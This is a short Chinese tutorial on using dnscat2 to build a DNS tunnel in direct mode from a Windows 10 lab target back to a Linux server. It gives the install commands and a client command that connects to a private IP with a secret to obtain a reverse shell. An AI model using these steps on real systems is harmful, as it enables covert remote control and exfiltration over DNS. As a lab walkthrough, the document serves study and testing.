使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
爱码少年29 分钟前
Docker如何一次查看多个容器日志
运维·docker·容器
菩提小狗35 分钟前
每日安全情报报告 · 2026-07-03
网络安全·漏洞·cve·安全情报·每日安全
WI8LbH78839 分钟前
Ubuntu 部署Harbor
linux·运维·ubuntu
huainingning1 小时前
华三ACL单向TCP互通组网-通过Established状态回包实现
运维·网络·tcp/ip
researcher-Jiang1 小时前
高性能计算之MPI:第一次MPI并行程序设计练习
linux·运维·服务器
Wireless_wifi61 小时前
Why Choose IPQ9574 for Your WiFi 7 Solution
linux·人工智能·5g
Promise微笑1 小时前
工业微量水分监测:精密露点仪选型逻辑与行业应用实证深度报告
大数据·运维
Rocket-Luo1 小时前
谈谈企业中的网络安全
网络·安全·web安全
神经智研社2 小时前
ROS2-5章:节点参数parameter详细讲解
windows·microsoft·机器人环境搭建·win11 ros2 开发环境
MYMOTOE62 小时前
国内对标腾讯 WorkBuddy 的桌面 AI 智能体软件大全
linux